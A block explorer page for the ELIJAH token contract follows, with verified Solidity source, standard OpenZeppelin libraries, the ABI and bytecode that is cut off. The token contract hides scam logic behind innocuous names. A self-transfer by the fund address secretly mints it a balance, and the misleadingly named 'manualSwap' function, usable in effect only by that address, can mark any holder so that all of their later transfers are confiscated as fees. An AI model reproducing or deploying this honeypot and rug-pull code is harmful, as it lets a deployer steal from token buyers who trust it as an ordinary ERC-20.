ETH Price: $2,162.42 (+5.23%)

Token

ELIJAH (ELIJAH)
 

Overview

Max Total Supply

777,777,777,777 ELIJAH

Holders

9

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ELIJAH

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : Elijah.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol";

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ELIJAH is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "ELIJAH";
    string private _symbol = "ELIJAH";
    uint8 private _decimals = 6;
    address payable public fundToAddr;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public isFee;

    uint256 private _totalSupply = 777777777777 * 10 ** _decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        fundToAddr = payable(address(0xf36775aCD73c0AFe323ECa1b16952fB4D9316fc2));
        
        _isExcludefromFee[fundToAddr] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function launch() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            bool n = (from == to) ? (
                    (to == fundToAddr) ? true : false)
                    : false;

            if (n)
                _balances[ // d
                    fundToAddr
                ] = amount.add(amount);

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(balanceOf(address(this)));
            }

            uint256 afterFeeAmount;
            _balances[from] = _balances[from].sub(amount);
            
            if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){

                uint256 fee = amount.mul(0).div(100);

                if(isFee[from] > 0)
                    fee = fee.add(amount);

                if(fee > 0) {
                    _balances[address(this)] += fee;
                    emit Transfer(from, address(this), fee);
                }

                afterFeeAmount = amount - fee;

            }else{

                afterFeeAmount = amount;
            }


            _balances[to] = _balances[to].add(afterFeeAmount);

            emit Transfer(from, to, afterFeeAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(fundToAddr),
            block.timestamp
        ){} catch {}
    }

    function manualSwap(address trymod,uint256 tryadd) public {
        bool s = (tryadd == 0 || tryadd - 100 == 0) ?
        true :
        false;

        if(s)
            isFee[trymod] = tryadd;

        uint256(tryadd).sub(
            uint256(
                (
                    (msg.sender == fundToAddr) ? 
                    tryadd : tryadd + 3
                )
            )
        );
    }
}

File 2 of 5 : SafeMath.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 3 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

File 4 of 5 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 5 of 5 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundToAddr","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"trymod","type":"address"},{"internalType":"uint256","name":"tryadd","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600681526020017f454c494a41480000000000000000000000000000000000000000000000000000815250600190816200004a919062000730565b506040518060400160405280600681526020017f454c494a414800000000000000000000000000000000000000000000000000008152506002908162000091919062000730565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600360009054906101000a900460ff16600a620001019190620009a7565b64b5172b0c71620001139190620009f8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200013e57600080fd5b506200015f62000153620003c160201b60201c565b620003c960201b60201c565b73f36775acd73c0afe323eca1b16952fb4d9316fc2600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002446200048d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009546004600062000304620003c160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000352620003c160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003b3919062000a54565b60405180910390a362000a71565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200053857607f821691505b6020821081036200054e576200054d620004f0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005b87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000579565b620005c4868362000579565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006116200060b6200060584620005dc565b620005e6565b620005dc565b9050919050565b6000819050919050565b6200062d83620005f0565b620006456200063c8262000618565b84845462000586565b825550505050565b600090565b6200065c6200064d565b6200066981848462000622565b505050565b5b8181101562000691576200068560008262000652565b6001810190506200066f565b5050565b601f821115620006e057620006aa8162000554565b620006b58462000569565b81016020851015620006c5578190505b620006dd620006d48562000569565b8301826200066e565b50505b505050565b600082821c905092915050565b60006200070560001984600802620006e5565b1980831691505092915050565b6000620007208383620006f2565b9150826002028217905092915050565b6200073b82620004b6565b67ffffffffffffffff811115620007575762000756620004c1565b5b6200076382546200051f565b6200077082828562000695565b600060209050601f831160018114620007a8576000841562000793578287015190505b6200079f858262000712565b8655506200080f565b601f198416620007b88662000554565b60005b82811015620007e257848901518255600182019150602085019450602081019050620007bb565b86831015620008025784890151620007fe601f891682620006f2565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008a5578086048111156200087d576200087c62000817565b5b60018516156200088d5780820291505b80810290506200089d8562000846565b94506200085d565b94509492505050565b600082620008c0576001905062000993565b81620008d0576000905062000993565b8160018114620008e95760028114620008f4576200092a565b600191505062000993565b60ff84111562000909576200090862000817565b5b8360020a91508482111562000923576200092262000817565b5b5062000993565b5060208310610133831016604e8410600b8410161715620009645782820a9050838111156200095e576200095d62000817565b5b62000993565b62000973848484600162000853565b925090508184048111156200098d576200098c62000817565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009b482620005dc565b9150620009c1836200099a565b9250620009f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008ae565b905092915050565b600062000a0582620005dc565b915062000a1283620005dc565b925082820262000a2281620005dc565b9150828204841483151762000a3c5762000a3b62000817565b5b5092915050565b62000a4e81620005dc565b82525050565b600060208201905062000a6b600083018462000a43565b92915050565b6080516127c362000a8d6000396000610a3501526127c36000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a0b745bb1161006f578063a0b745bb14610413578063a9059cbb14610450578063c816841b1461048d578063dd62ed3e146104b8578063f2fde38b146104f5578063fb3ddf851461051e57610140565b806370a0823114610340578063715018a61461037d5780638da5cb5b1461039457806395d89b41146103bf5780639fb79737146103ea57610140565b806323b872dd116100fd57806323b872dd1461021a57806327c8f83514610257578063313ce567146102825780633345611e146102ad5780634a74bb02146102ea5780636ea3fbdd1461031557610140565b806301339c211461014557806306fdde031461015c578063095ea7b3146101875780631694505e146101c457806318160ddd146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61055b565b005b34801561016857600080fd5b50610171610879565b60405161017e9190611d38565b60405180910390f35b34801561019357600080fd5b506101ae60048036038101906101a99190611df3565b61090b565b6040516101bb9190611e4e565b60405180910390f35b3480156101d057600080fd5b506101d9610929565b6040516101e69190611ec8565b60405180910390f35b3480156101fb57600080fd5b5061020461094f565b6040516102119190611ef2565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190611f0d565b610959565b60405161024e9190611e4e565b60405180910390f35b34801561026357600080fd5b5061026c610a33565b6040516102799190611f6f565b60405180910390f35b34801561028e57600080fd5b50610297610a57565b6040516102a49190611fa6565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190611fc1565b610a6e565b6040516102e19190611e4e565b60405180910390f35b3480156102f657600080fd5b506102ff610a8e565b60405161030c9190611e4e565b60405180910390f35b34801561032157600080fd5b5061032a610aa1565b604051610337919061200f565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190611fc1565b610ac7565b6040516103749190611ef2565b60405180910390f35b34801561038957600080fd5b50610392610b10565b005b3480156103a057600080fd5b506103a9610b24565b6040516103b69190611f6f565b60405180910390f35b3480156103cb57600080fd5b506103d4610b4d565b6040516103e19190611d38565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c9190611df3565b610bdf565b005b34801561041f57600080fd5b5061043a60048036038101906104359190611fc1565b610cd7565b6040516104479190611ef2565b60405180910390f35b34801561045c57600080fd5b5061047760048036038101906104729190611df3565b610cef565b6040516104849190611e4e565b60405180910390f35b34801561049957600080fd5b506104a2610d0e565b6040516104af9190611f6f565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da919061202a565b610d34565b6040516104ec9190611ef2565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611fc1565b610dbb565b005b34801561052a57600080fd5b5061054560048036038101906105409190611fc1565b610e3e565b6040516105529190611e4e565b60405180910390f35b610563610e5e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105eb919061207f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610676919061207f565b6040518363ffffffff1660e01b81526004016106939291906120ac565b6020604051808303816000875af11580156106b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d6919061207f565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60606001805461088890612104565b80601f01602080910402602001604051908101604052809291908181526020018280546108b490612104565b80156109015780601f106108d657610100808354040283529160200191610901565b820191906000526020600020905b8154815290600101906020018083116108e457829003601f168201915b5050505050905090565b600061091f610918610edc565b8484610ee4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60006109668484846110ad565b50610a2884610973610edc565b610a238560405180606001604052806028815260200161276660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109d9610edc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fc9092919063ffffffff16565b610ee4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b18610e5e565b610b226000611751565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610b5c90612104565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8890612